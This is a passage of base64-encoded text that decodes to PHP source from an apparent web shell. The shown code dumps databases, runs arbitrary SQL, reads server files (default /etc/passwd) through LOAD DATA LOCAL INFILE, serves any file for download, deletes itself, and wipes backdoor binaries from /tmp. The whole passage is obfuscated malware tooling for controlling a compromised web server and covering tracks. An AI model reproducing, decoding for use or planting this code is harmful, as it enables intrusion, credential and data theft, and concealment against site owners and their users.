gIT09ICgkdGhpcy0+cm93c1tdID0gQG1zc3FsX2ZldGNoX2Fzc29jKCR0aGlzLT5yZXMpKSk7DQogIAkgQG1zc3FsX2ZyZWVfcmVzdWx0KCR0aGlzLT5yZXMpOw0KICAJIGlmKCR0aGlzLT5udW1fcm93cyl7JHRoaXMtPmNvbHVtbnMgPSBAYXJyYXlfa2V5cygkdGhpcy0+cm93c1swXSk7IHJldHVybiAxO307DQogICAgYnJlYWs7DQogICAgY2FzZSAnUG9zdGdyZVNRTCc6DQogIAkgJHRoaXMtPm51bV9yb3dzPUBwZ19udW1fcm93cygkdGhpcy0+cmVzKTsNCiAgCSAkdGhpcy0+bnVtX2ZpZWxkcz1AcGdfbnVtX2ZpZWxkcygkdGhpcy0+cmVzKTsNCiAgCSB3aGlsZShmYWxzZSAhPT0gKCR0aGlzLT5yb3dzW10gPSBAcGdfZmV0Y2hfYXNzb2MoJHRoaXMtPnJlcykpKTsNCiAgCSBAcGdfZnJlZV9yZXN1bHQoJHRoaXMtPnJlcyk7DQogIAkgaWYoJHRoaXMtPm51bV9yb3dzKXskdGhpcy0+Y29sdW1ucyA9IEBhcnJheV9rZXlzKCR0aGlzLT5yb3dzWzBdKTsgcmV0dXJuIDE7fQ0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ09yYWNsZSc6DQogICAgICR0aGlzLT5udW1fZmllbGRzPUBvY2ludW1jb2xzKCR0aGlzLT5yZXMpOw0KICAgICB3aGlsZShmYWxzZSAhPT0gKCR0aGlzLT5yb3dzW10gPSBAb2NpX2ZldGNoX2Fzc29jKCR0aGlzLT5yZXMpKSkgJHRoaXMtPm51bV9yb3dzKys7DQogICAgIEBvY2lmcmVlc3RhdGVtZW50KCR0aGlzLT5yZXMpOw0KICAgICBpZigkdGhpcy0+bnVtX3Jvd3MpeyR0aGlzLT5jb2x1bW5zID0gQGFycmF5X2tleXMoJHRoaXMtPnJvd3NbMF0pOyByZXR1cm4gMTt9DQogICAgYnJlYWs7DQogICAgfQ0KICAgcmV0dXJuIDA7DQogIH0NCiBmdW5jdGlvbiBkdW1wKCR0YWJsZSkNCiAgew0KICAgaWYoZW1wdHkoJHRhYmxlKSkgcmV0dXJuIDA7DQogICAkdGhpcy0+ZHVtcD1hcnJheSgpOw0KICAgJHRoaXMtPmR1bXBbMF0gPSAnIyMnOw0KICAgJHRoaXMtPmR1bXBbMV0gPSAnIyMgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tICc7DQogICAkdGhpcy0+ZHVtcFsyXSA9ICcjIyAgQ3JlYXRlZDogJy5kYXRlICgiZC9tL1kgSDppOnMiKTsNCiAgICR0aGlzLT5kdW1wWzNdID0gJyMjIERhdGFiYXNlOiAnLiR0aGlzLT5iYXNlOw0KICAgJHRoaXMtPmR1bXBbNF0gPSAnIyMgICAgVGFibGU6ICcuJHRhYmxlOw0KICAgJHRoaXMtPmR1bXBbNV0gPSAnIyMgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tICc7DQogICBzd2l0Y2goJHRoaXMtPmRiKQ0KICAgIHsNCiAgCWNhc2UgJ015U1FMJzoNCiAgCSAkdGhpcy0+ZHVtcFswXSA9ICcjIyBNeVNRTCBkdW1wJzsNCiAgCSBpZigkdGhpcy0+cXVlcnkoJy8qJy5jaHIoMCkuJyovIFNIT1cgQ1JFQVRFIFRBQkxFIGAnLiR0YWJsZS4nYCcpIT0xKSByZXR1cm4gMDsNCiAgCSBpZighJHRoaXMtPmdldF9yZXN1bHQoKSkgcmV0dXJuIDA7DQogIAkgJHRoaXMtPmR1bXBbXSA9ICR0aGlzLT5yb3dzWzBdWydDcmVhdGUgVGFibGUnXTsNCiAgICAgJHRoaXMtPmR1bXBbXSA9ICcjIyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gJzsNCiAgCSBpZigkdGhpcy0+cXVlcnkoJy8qJy5jaHIoMCkuJyovIFNFTEVDVCAqIEZST00gYCcuJHRhYmxlLidgJykhPTEpIHJldHVybiAwOw0KICAJIGlmKCEkdGhpcy0+Z2V0X3Jlc3VsdCgpKSByZXR1cm4gMDsNCiAgCSBmb3IoJGk9MDskaTwkdGhpcy0+bnVtX3Jvd3M7JGkrKykNCiAgCSAgew0KICAgICAgZm9yZWFjaCgkdGhpcy0+cm93c1skaV0gYXMgJGs9PiR2KSB7JHRoaXMtPnJvd3NbJGldWyRrXSA9IEBteXNxbF9yZWFsX2VzY2FwZV9zdHJpbmcoJHYpO30NCiAgCSAgJHRoaXMtPmR1bXBbXSA9ICdJTlNFUlQgSU5UTyBgJy4kdGFibGUuJ2AgKGAnLkBpbXBsb2RlKCJgLCBgIiwgJHRoaXMtPmNvbHVtbnMpLidgKSBWQUxVRVMgKFwnJy5AaW1wbG9kZSgiJywgJyIsICR0aGlzLT5yb3dzWyRpXSkuJ1wnKTsnOw0KICAJICB9DQogICAgYnJlYWs7DQogICAgY2FzZSAnTVNTUUwnOg0KICAgICAkdGhpcy0+ZHVtcFswXSA9ICcjIyBNU1NRTCBkdW1wJzsNCiAgICAgaWYoJHRoaXMtPnF1ZXJ5KCdTRUxFQ1QgKiBGUk9NICcuJHRhYmxlKSE9MSkgcmV0dXJuIDA7DQogIAkgaWYoISR0aGlzLT5nZXRfcmVzdWx0KCkpIHJldHVybiAwOw0KICAJIGZvcigkaT0wOyRpPCR0aGlzLT5udW1fcm93czskaSsrKQ0KICAJICB7DQogICAgICBmb3JlYWNoKCR0aGlzLT5yb3dzWyRpXSBhcyAkaz0+JHYpIHskdGhpcy0+cm93c1skaV1bJGtdID0gQGFkZHNsYXNoZXMoJHYpO30NCiAgCSAgJHRoaXMtPmR1bXBbXSA9ICdJTlNFUlQgSU5UTyAnLiR0YWJsZS4nICgnLkBpbXBsb2RlKCIsICIsICR0aGlzLT5jb2x1bW5zKS4nKSBWQUxVRVMgKFwnJy5AaW1wbG9kZSgiJywgJyIsICR0aGlzLT5yb3dzWyRpXSkuJ1wnKTsnOw0KICAJICB9DQogICAgYnJlYWs7DQogICAgY2FzZSAnUG9zdGdyZVNRTCc6DQogICAgICR0aGlzLT5kdW1wWzBdID0gJyMjIFBvc3RncmVTUUwgZHVtcCc7DQogICAgIGlmKCR0aGlzLT5xdWVyeSgnU0VMRUNUICogRlJPTSAnLiR0YWJsZSkhPTEpIHJldHVybiAwOw0KICAJIGlmKCEkdGhpcy0+Z2V0X3Jlc3VsdCgpKSByZXR1cm4gMDsNCiAgCSBmb3IoJGk9MDskaTwkdGhpcy0+bnVtX3Jvd3M7JGkrKykNCiAgCSAgew0KICAgICAgZm9yZWFjaCgkdGhpcy0+cm93c1skaV0gYXMgJGs9PiR2KSB7JHRoaXMtPnJvd3NbJGldWyRrXSA9IEBhZGRzbGFzaGVzKCR2KTt9DQogIAkgICR0aGlzLT5kdW1wW10gPSAnSU5TRVJUIElOVE8gJy4kdGFibGUuJyAoJy5AaW1wbG9kZSgiLCAiLCAkdGhpcy0+Y29sdW1ucykuJykgVkFMVUVTIChcJycuQGltcGxvZGUoIicsICciLCAkdGhpcy0+cm93c1skaV0pLidcJyk7JzsNCiAgCSAgfQ0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ09yYWNsZSc6DQogICAgICAkdGhpcy0+ZHVtcFswXSA9ICcjIyBPUkFDTEUgZHVtcCc7DQogICAgICAkdGhpcy0+ZHVtcFtdICA9ICcjIyB1bmRlciBjb25zdHJ1Y3Rpb24nOw0KICAgIGJyZWFrOw0KICAgIGRlZmF1bHQ6DQogICAgIHJldHVybiAwOw0KICAgIGJyZWFrOw0KICAgIH0NCiAgIHJldHVybiAxOw0KICB9DQogZnVuY3Rpb24gY2xvc2UoKQ0KICB7DQogICBzd2l0Y2goJHRoaXMtPmRiKQ0KICAgIHsNCiAgCWNhc2UgJ015U1FMJzoNCiAgCSBAbXlzcWxfY2xvc2UoJHRoaXMtPmNvbm5lY3Rpb24pOw0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ01TU1FMJzoNCiAgICAgQG1zc3FsX2Nsb3NlKCR0aGlzLT5jb25uZWN0aW9uKTsNCiAgICBicmVhazsNCiAgICBjYXNlICdQb3N0Z3JlU1FMJzoNCiAgICAgQHBnX2Nsb3NlKCR0aGlzLT5jb25uZWN0aW9uKTsNCiAgICBicmVhazsNCiAgICBjYXNlICdPcmFjbGUnOg0KICAgICBAb2NpX2Nsb3NlKCR0aGlzLT5jb25uZWN0aW9uKTsNCiAgICBicmVhazsNCiAgICB9DQogIH0NCiBmdW5jdGlvbiBhZmZlY3RlZF9yb3dzKCkNCiAgew0KICAgc3dpdGNoKCR0aGlzLT5kYikNCiAgICB7DQogIAljYXNlICdNeVNRTCc6DQogIAkgcmV0dXJuIEBteXNxbF9hZmZlY3RlZF9yb3dzKCR0aGlzLT5yZXMpOw0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ01TU1FMJzoNCiAgICAgcmV0dXJuIEBtc3NxbF9hZmZlY3RlZF9yb3dzKCR0aGlzLT5yZXMpOw0KICAgIGJyZWFrOw0KICAgIGNhc2UgJ1Bvc3RncmVTUUwnOg0KICAgICByZXR1cm4gQHBnX2FmZmVjdGVkX3Jvd3MoJHRoaXMtPnJlcyk7DQogICAgYnJlYWs7DQogICAgY2FzZSAnT3JhY2xlJzoNCiAgICAgcmV0dXJuIEBvY2lyb3djb3VudCgkdGhpcy0+cmVzKTsNCiAgICBicmVhazsNCiAgICBkZWZhdWx0Og0KICAgICByZXR1cm4gMDsNCiAgICBicmVhazsNCiAgICB9DQogIH0NCiB9DQppZighZW1wdHkoJF9QT1NUWydjbWQnXSkgJiYgJF9QT1NUWydjbWQnXT09ImRvd25sb2FkX2ZpbGUiICYmICFlbXB0eSgkX1BPU1RbJ2RfbmFtZSddKSkNCiB7DQogIGlmKCEkZmlsZT1AZm9wZW4oJF9QT1NUWydkX25hbWUnXSwiciIpKSB7IGVycigxLCRfUE9TVFsnZF9uYW1lJ10pOyAkX1BPU1RbJ2NtZCddPSIiOyB9DQogIGVsc2UNCiAgIHsNCiAgICBAb2JfY2xlYW4oKTsNCiAgICAkZmlsZW5hbWUgPSBAYmFzZW5hbWUoJF9QT1NUWydkX25hbWUnXSk7DQogICAgJGZpbGVkdW1wID0gQGZyZWFkKCRmaWxlLEBmaWxlc2l6ZSgkX1BPU1RbJ2RfbmFtZSddKSk7DQogICAgZmNsb3NlKCRmaWxlKTsNCiAgICAkY29udGVudF9lbmNvZGluZz0kbWltZV90eXBlPScnOw0KICAgIGNvbXByZXNzKCRmaWxlbmFtZSwkZmlsZWR1bXAsJF9QT1NUWydjb21wcmVzcyddKTsNCiAgICBpZiAoIWVtcHR5KCRjb250ZW50X2VuY29kaW5nKSkgeyBoZWFkZXIoJ0NvbnRlbnQtRW5jb2Rpbmc6ICcgLiAkY29udGVudF9lbmNvZGluZyk7IH0NCiAgICBoZWFkZXIoIkNvbnRlbnQtdHlwZTogIi4kbWltZV90eXBlKTsNCiAgICBoZWFkZXIoIkNvbnRlbnQtZGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPVwiIi4kZmlsZW5hbWUuIlwiOyIpOw0KICAgIGVjaG8gJGZpbGVkdW1wOw0KICAgIGV4aXQoKTsNCiAgIH0NCiB9DQppZihpc3NldCgkX0dFVFsncGhwaW5mbyddKSkgeyBlY2hvIEBwaHBpbmZvKCk7IGVjaG8gIjxicj48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj5bIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iPkJBQ0s8L2E+IF08L2I+PC9mb250PjwvZGl2PiI7IGRpZSgpOyB9DQppZiAoIWVtcHR5KCRfUE9TVFsnY21kJ10pICYmICRfUE9TVFsnY21kJ109PSJkYl9xdWVyeSIpDQogew0KIGVjaG8gJGhlYWQ7DQogJHNxbCA9IG5ldyBteV9zcWwoKTsNCiAkc3FsLT5kYiAgID0gJF9QT1NUWydkYiddOw0KICRzcWwtPmhvc3QgPSAkX1BPU1RbJ2RiX3NlcnZlciddOw0KICRzcWwtPnBvcnQgPSAkX1BPU1RbJ2RiX3BvcnQnXTsNCiAkc3FsLT51c2VyID0gJF9QT1NUWydteXNxbF9sJ107DQogJHNxbC0+cGFzcyA9ICRfUE9TVFsnbXlzcWxfcCddOw0KICRzcWwtPmJhc2UgPSAkX1BPU1RbJ215c3FsX2RiJ107DQogJHF1ZXJ5cyA9IEBleHBsb2RlKCc7JywkX1BPU1RbJ2RiX3F1ZXJ5J10pOw0KIGVjaG8gJzxib2R5IGJnY29sb3I9QmxhY2s+JzsNCiBpZighJHNxbC0+Y29ubmVjdCgpKSBlY2hvICI8ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMiBjb2xvcj1XaGl0ZT48Yj5DYW4ndCBjb25uZWN0IHRvIFNRTCBzZXJ2ZXI8L2I+PC9mb250PjwvZGl2PiI7DQogIGVsc2UNCiAgIHsNCiAgIGlmKCFlbXB0eSgkc3FsLT5iYXNlKSYmISRzcWwtPnNlbGVjdF9kYigpKSBlY2hvICI8ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMiBjb2xvcj1XaGl0ZT48Yj5DYW4ndCBzZWxlY3QgZGF0YWJhc2U8L2I+PC9mb250PjwvZGl2PiI7DQogICBlbHNlDQogICAgew0KICAgIGZvcmVhY2goJHF1ZXJ5cyBhcyAkbnVtPT4kcXVlcnkpDQogICAgIHsNCiAgICAgIGlmKHN0cmxlbigkcXVlcnkpPjUpDQogICAgICB7DQogICAgICBlY2hvICI8Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMiBjb2xvcj1XaGl0ZT48Yj5RdWVyeSMiLiRudW0uIiA6ICIuaHRtbHNwZWNpYWxjaGFycygkcXVlcnksRU5UX1FVT1RFUykuIjwvYj48L2ZvbnQ+PGJyPiI7DQogICAgICBzd2l0Y2goJHNxbC0+cXVlcnkoJHF1ZXJ5KSkNCiAgICAgICB7DQogICAgICAgY2FzZSAnMCc6DQogICAgICAgZWNobyAiPHRhYmxlIHdpZHRoPTEwMCU+PHRyPjx0ZCBjbGFzcz1tYWluPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPkVycm9yIDogPGI+Ii4kc3FsLT5lcnJvci4iPC9iPjwvZm9udD48L3RkPjwvdHI+PC90YWJsZT4iOw0KICAgICAgIGJyZWFrOw0KICAgICAgIGNhc2UgJzEnOg0KICAgICAgIGlmKCRzcWwtPmdldF9yZXN1bHQoKSkNCiAgICAgICAgew0KICAgICAgIAllY2hvICI8dGFibGUgd2lkdGg9MTAwJSBib3JkZXI9MCBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTA+IjsNCiAgICAgICAgZm9yZWFjaCgkc3FsLT5jb2x1bW5zIGFzICRrPT4kdikgJHNxbC0+Y29sdW1uc1ska10gPSBodG1sc3BlY2lhbGNoYXJzKCR2LEVOVF9RVU9URVMpOw0KICAgICAgIAkka2V5cyA9IEBpbXBsb2RlKCImbmJzcDs8L2I+PC9mb250PjwvdGQ+PHRkIGNsYXNzPW1haW4+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+Jm5ic3A7IiwgJHNxbC0+Y29sdW1ucyk7DQogICAgICAgIGVjaG8gIjx0cj48dGQgY2xhc3M9bWFpbiBiZ2NvbG9yPVdoaXRlPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPiZuYnNwOyIuJGtleXMuIiZuYnNwOzwvYj48L2ZvbnQ+PC90ZD48L3RyPiI7DQogICAgICAgIGZvcigkaT0wOyRpPCRzcWwtPm51bV9yb3dzOyRpKyspDQogICAgICAgICB7DQogICAgICAgICBmb3JlYWNoKCRzcWwtPnJvd3NbJGldIGFzICRrPT4kdikgJHNxbC0+cm93c1skaV1bJGtdID0gaHRtbHNwZWNpYWxjaGFycygkdixFTlRfUVVPVEVTKTsNCiAgICAgICAgICR2YWx1ZXMgPSBAaW1wbG9kZSgiJm5ic3A7PC9mb250PjwvdGQ+PHRkIGNsYXNzPW1haW4+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+Jm5ic3A7Iiwkc3FsLT5yb3dzWyRpXSk7DQogICAgICAgICBlY2hvICc8dHI+PHRkIGNsYXNzPW1haW4+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+Jm5ic3A7Jy4kdmFsdWVzLicmbmJzcDs8L2ZvbnQ+PC90ZD48L3RyPic7DQogICAgICAgICB9DQogICAgICAgIGVjaG8gIjwvdGFibGU+IjsNCiAgICAgICAgfQ0KICAgICAgIGJyZWFrOw0KICAgICAgIGNhc2UgJzInOg0KICAgICAgICRhciA9ICRzcWwtPmFmZmVjdGVkX3Jvd3MoKT8oJHNxbC0+YWZmZWN0ZWRfcm93cygpKTooJzAnKTsNCiAgICAgICBlY2hvICI8dGFibGUgd2lkdGg9MTAwJT48dHI+PHRkIGNsYXNzPW1haW4+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+YWZmZWN0ZWQgcm93cyA6IDxiPiIuJGFyLiI8L2I+PC9mb250PjwvdGQ+PC90cj48L3RhYmxlPjxicj4iOw0KICAgICAgIGJyZWFrOw0KICAgICAgIH0NCiAgICAgIH0NCiAgICAgfQ0KICAgIH0NCiAgICBlY2hvICI8YnI+PGRpdiBhbGlnbj1sZWZ0IGlkPSduJz48dGFibGUgd2lkdGg9MTAwJSBoZWlnaHQ9NjAgYm9yZGVyPTAgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wPiI7DQogICAgZWNobyAiPHRyPjx0ZCBhbGlnbj1jZW50ZXI+PGI+U2hvdyBEYXRhYmFzZTwvYj48L3RkPjx0ZCBhbGlnbj1jZW50ZXI+PGI+U2hvdyBUYWJsZXM8L2I+PC90ZD48L3RyPiI7DQogICAgZWNobyAiPHRyPjx0ZD48dGV4dGFyZWEgY29scz01MCByb3dzPTYgbmFtZT1xdWVyeV9kYj4iOw0KICAgICRxdWVyeV9kYiA9IG15c3FsX3F1ZXJ5KCJTSE9XIERBVEFCQVNFUzsiKTsNCiAgICB3aGlsZSAoJHF1ZXJ5X2RiX3JvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRxdWVyeV9kYikpDQogICAgew0KICAgIAllY2hvICRxdWVyeV9kYl9yb3dbMF0uIlxuIjsNCiAgICB9DQogICAgZWNobyAiPC90ZXh0YXJlYT48L3RkPjx0ZD48ZGl2IGFsaWduPXJpZ2h0Pjx0ZXh0YXJlYSBjb2xzPTYwIHJvd3M9NiBuYW1lPXF1ZXJ5X3RhYmxlcz4iOw0KICAgIGlmICgoJF9QT1NUWydteXNxbF9kYiddKSAmJiAkc3FsLT5zZWxlY3RfZGIoKSkNCiAgICB7DQogICAgICRxdWVyeV90YWJsZXMgPSBteXNxbF9xdWVyeSgiU0hPVyBUQUJMRVM7Iik7DQogICAgIHdoaWxlICgkcXVlcnlfdGFibGVzX3JvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRxdWVyeV90YWJsZXMpKQ0KICAgICB7DQogICAgIAllY2hvICRxdWVyeV90YWJsZXNfcm93WzBdLiJcbiI7DQogICAgIH0NCiAgICB9DQogICAgZWNobyAiPC90ZXh0YXJlYT48L2Rpdj48L3RkPjwvdHI+PC90YWJsZT48L2Rpdj4iOw0KICAgfQ0KIGVjaG8gIjxicj48Zm9ybSBuYW1lPWZvcm0gbWV0aG9kPVBPU1Q+IjsNCiBlY2hvIGluKCdoaWRkZW4nLCdkYicsMCwkX1BPU1RbJ2RiJ10pOw0KIGVjaG8gaW4oJ2hpZGRlbicsJ2RiX3NlcnZlcicsMCwkX1BPU1RbJ2RiX3NlcnZlciddKTsNCiBlY2hvIGluKCdoaWRkZW4nLCdkYl9wb3J0JywwLCRfUE9TVFsnZGJfcG9ydCddKTsNCiBlY2hvIGluKCdoaWRkZW4nLCdteXNxbF9sJywwLCRfUE9TVFsnbXlzcWxfbCddKTsNCiBlY2hvIGluKCdoaWRkZW4nLCdteXNxbF9wJywwLCRfUE9TVFsnbXlzcWxfcCddKTsNCiBlY2hvIGluKCdoaWRkZW4nLCdteXNxbF9kYicsMCwkX1BPU1RbJ215c3FsX2RiJ10pOw0KIGVjaG8gaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZGJfcXVlcnknKTsNCiBlY2hvICI8ZGl2IGFsaWduPWNlbnRlcj4iOw0KIGVjaG8gIjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPlVzZSBkYXRhYmFzZTogPC9iPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1teXNxbF9kYiB2YWx1ZT1cIiIuJHNxbC0+YmFzZS4iXCI+PC9mb250Pjxicj4iOw0KIGVjaG8gIjx0ZXh0YXJlYSBjb2xzPTY1IHJvd3M9MTAgbmFtZT1kYl9xdWVyeT4iLighZW1wdHkoJF9QT1NUWydkYl9xdWVyeSddKT8oJF9QT1NUWydkYl9xdWVyeSddKTooIlNIT1cgREFUQUJBU0VTOyIpKS4iPC90ZXh0YXJlYT48YnI+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPVwiIFJ1biBTUUwgcXVlcnkgXCI+PC9kaXY+PGJyPjxicj4iOw0KIGVjaG8gIjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPkxvYWQgZmlsZTogPC9iPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1sb2FkZmlsZSBzaXplPTEwMCB2YWx1ZT0iLighZW1wdHkoJF9QT1NUWydsb2FkZmlsZSddKT8oJF9QT1NUWydsb2FkZmlsZSddKTooIi9ldGMvcGFzc3dkIikpLiI+Ii53cygyKS4iPGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0IHZhbHVlPVwiIExvYWQgXCI+PGJyIC8+PGJyIC8+IjsNCiBlY2hvICI8Yj5GaWxlIGNvbnRlbnQ8L2I+PGJyPjxicj4iOw0KIGVjaG8gIjx0ZXh0YXJlYSBjb2xzPTEyMSByb3dzPTE1IG5hbWU9c2hvd2xvYWRmaWxlPiI7DQogQG15c3FsX3F1ZXJ5KCJEUk9QIFRBQkxFIElGIEVYSVNUUyBBbHVjYXIiKTsNCiBAbXlzcWxfcXVlcnkoIkNSRUFURSBUQUJMRSBgQWx1Y2FyYCAoIGBmaWxlYCBMT05HQkxPQiBOT1QgTlVMTCApIik7DQogQG15c3FsX3F1ZXJ5KCJMT0FEIERBVEEgTE9DQUwgSU5GSUxFIFwiIi5zdHJfcmVwbGFjZSgnXFwnLCcvJywkX1BPU1RbJ2xvYWRmaWxlJ10pLiJcIiBJTlRPIFRBQkxFIEFsdWNhciBGSUVMRFMgVEVSTUlOQVRFRCBCWSAnJyBFU0NBUEVEIEJZICcnIExJTkVTIFRFUk1JTkFURUQgQlkgJ1xuJyIpOw0KICRyID0gQG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NIEFsdWNhciIpOw0KIHdoaWxlKCgkcl9zcWwgPSBAbXlzcWxfZmV0Y2hfYXJyYXkoJHIpKSkgeyBlY2hvIEBodG1sc3BlY2lhbGNoYXJzKCRyX3NxbFswXSk7IH0NCiBAbXlzcWxfcXVlcnkoIkRST1AgVEFCTEUgSUYgRVhJU1RTIEFsdWNhciIpOw0KIGVjaG8gIjwvdGV4dGFyZWE+PC9kaXY+IjsNCiBlY2hvICI8L2Zvcm0+IjsNCiBlY2hvICI8YnI+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+WyA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj5CQUNLPC9hPiBdPC9iPjwvZm9udD48L2Rpdj4iOyBkaWUoKTsNCiB9DQppZihpc3NldCgkX0dFVFsnZGVsZXRlJ10pKQ0KIHsNCiAgIEB1bmxpbmsoX19GSUxFX18pOw0KIH0NCmlmKGlzc2V0KCRfR0VUWyd0bXAnXSkpDQogew0KICAgQHVubGluaygiL3RtcC9iZHBsIik7DQogICBAdW5saW5rKCIvdG1wL2JhY2siKTsNCiAgIEB1bmxpbmsoIi90bXAvYmQiKTsNCiAgIEB1bmxpbmsoIi90bXAvYmQuYyIpOw0KICAgQHVubGluaygiL3RtcC9kcCIpOw0KICAgQHVubGluaygiL3RtcC9kcGMiKTsNCiAgIEB1bmxpbmsoIi90bXAvZHBjLmMiKTsNCiB9DQppZihpc3NldCgkX0dFVFsncGhwaW5pJ10pKQ0Kew0KZWNobyAkaGVhZDsNCmZ1bmN0aW9uIFVfdmFsdWUoJHZhbHVlKQ0KIHsNCiBpZiAoJHZhbHVlID09ICcnKSByZXR1cm4gJzxpPm5vIHZhbHVlPC9pPic7DQogaWYgKEBpc19ib29sKCR2YWx1ZSkpIHJldHVybiAkdmFsdWUgPyAnVFJVRScgOiAnRkFMU0UnOw0KIGlmICgkdmFsdWUgPT09IG51bGwpIHJldHVybiAnTlVMTCc7DQogaWYgKEBpc19vYmplY3QoJHZhbHVlKSkgJHZhbHVlID0gKGFycmF5KSAkdmFsdWU7DQogaWYgKEBpc19hcnJheSgkdmFsdWUpKQ0KIHsNCiBAb2Jfc3RhcnQoKTsNCiBwcmludF9yKCR2YWx1ZSk7DQogJHZhbHVlID0gQG9iX2dldF9jb250ZW50cygpOw0KIEBvYl9lbmRfY2xlYW4oKTsNCiB9DQogcmV0dXJuIFVfd29yZHdyYXAoKHN0cmluZykgJHZhbHVlKTsNCiB9DQpmdW5jdGlvbiBVX3dvcmR3cmFwKCRzdHIpDQogew0KICRzdHIgPSBAd29yZHdyYXAoQGh0bWxzcGVjaWFsY2hhcnMoJHN0ciksIDEwMCwgJzx3YnIgLz4nLCB0cnVlKTsNCiByZXR1cm4gQHByZWdfcmVwbGFjZSgnISgmW147XSopPHdiciAvPihbXjtdKjspIScsICckMSQyPHdiciAvPicsICRzdHIpOw0KIH0NCmlmIChAZnVuY3Rpb25fZXhpc3RzKCdpbmlfZ2V0X2FsbCcpKQ0KIHsNCiAkciA9ICcnOw0KIGVjaG8gJzx0YWJsZSB3aWR0aD0xMDAlPicsICc8dHI+PHRkIGNsYXNzPW1haW4gYmdjb2xvcj0jODNjODA5Pjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yIGNvbG9yPVdoaXRlPjxkaXYgYWxpZ249Y2VudGVyPjxiPkRpcmVjdGl2ZTwvYj48L2Rpdj48L2ZvbnQ+PC90ZD48dGQgY2xhc3M9bWFpbiBiZ2NvbG9yPSM4M2M4MDk+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTIgY29sb3I9V2hpdGU+PGRpdiBhbGlnbj1jZW50ZXI+PGI+TG9jYWwgVmFsdWU8L2I+PC9kaXY+PC9mb250PjwvdGQ+PHRkIGNsYXNzPW1haW4gYmdjb2xvcj0jODNjODA5Pjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yIGNvbG9yPVdoaXRlPjxkaXYgYWxpZ249Y2VudGVyPjxiPk1hc3RlciBWYWx1ZTwvYj48L2Rpdj48L2ZvbnQ+PC90ZD48L3RyPic7DQogZm9yZWFjaCAoQGluaV9nZXRfYWxsKCkgYXMgJGtleT0+JHZhbHVlKQ0KICB7DQogICRyIC49ICc8dHI+PHRkIGNsYXNzPW1haW4+Jy53cygzKS4nPGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+Jy4ka2V5Lic8L2I+PC9mb250PjwvdGQ+PHRkIGNsYXNzPW1haW4+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGRpdiBhbGlnbj1jZW50ZXI+PGI+Jy5VX3ZhbHVlKCR2YWx1ZVsnbG9jYWxfdmFsdWUnXSkuJzwvYj48L2Rpdj48L2ZvbnQ+PC90ZD48dGQgY2xhc3M9bWFpbj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48ZGl2IGFsaWduPWNlbnRlcj48Yj4nLlVfdmFsdWUoJHZhbHVlWydnbG9iYWxfdmFsdWUnXSkuJzwvYj48L2Rpdj48L2ZvbnQ+PC90ZD48L3RyPic7DQogIH0NCiBlY2hvICRyOw0KIGVjaG8gJzwvdGFibGU+JzsNCiB9DQplY2hvICI8YnI+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+WyA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj5CQUNLPC9hPiBdPC9iPjwvZm9udD48L2Rpdj4iOw0KZGllKCk7DQp9DQppZihpc3NldCgkX0dFVFsnY3B1J10pKQ0KIHsNCiAgIGVjaG8gJGhlYWQ7DQogICBlY2hvICc8dGFibGUgd2lkdGg9MTAwJT48dHI+PHRkIGNsYXNzPW1haW4gYmdjb2xvcj1CbGFjaz48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMiBjb2xvcj1XaGl0ZT48Yj5DUFU8L2I+PC9mb250PjwvZGl2PjwvdGQ+PC90cj48L3RhYmxlPjx0YWJsZSB3aWR0aD0xMDAlPic7DQogICAkY3B1ZiA9IEBmaWxlKCJjcHVpbmZvIik7DQogICBpZigkY3B1ZikNCiAgICB7DQogICAgICAkYyA9IEBzaXplb2YoJGNwdWYpOw0KICAgICAgZm9yKCRpPTA7JGk8JGM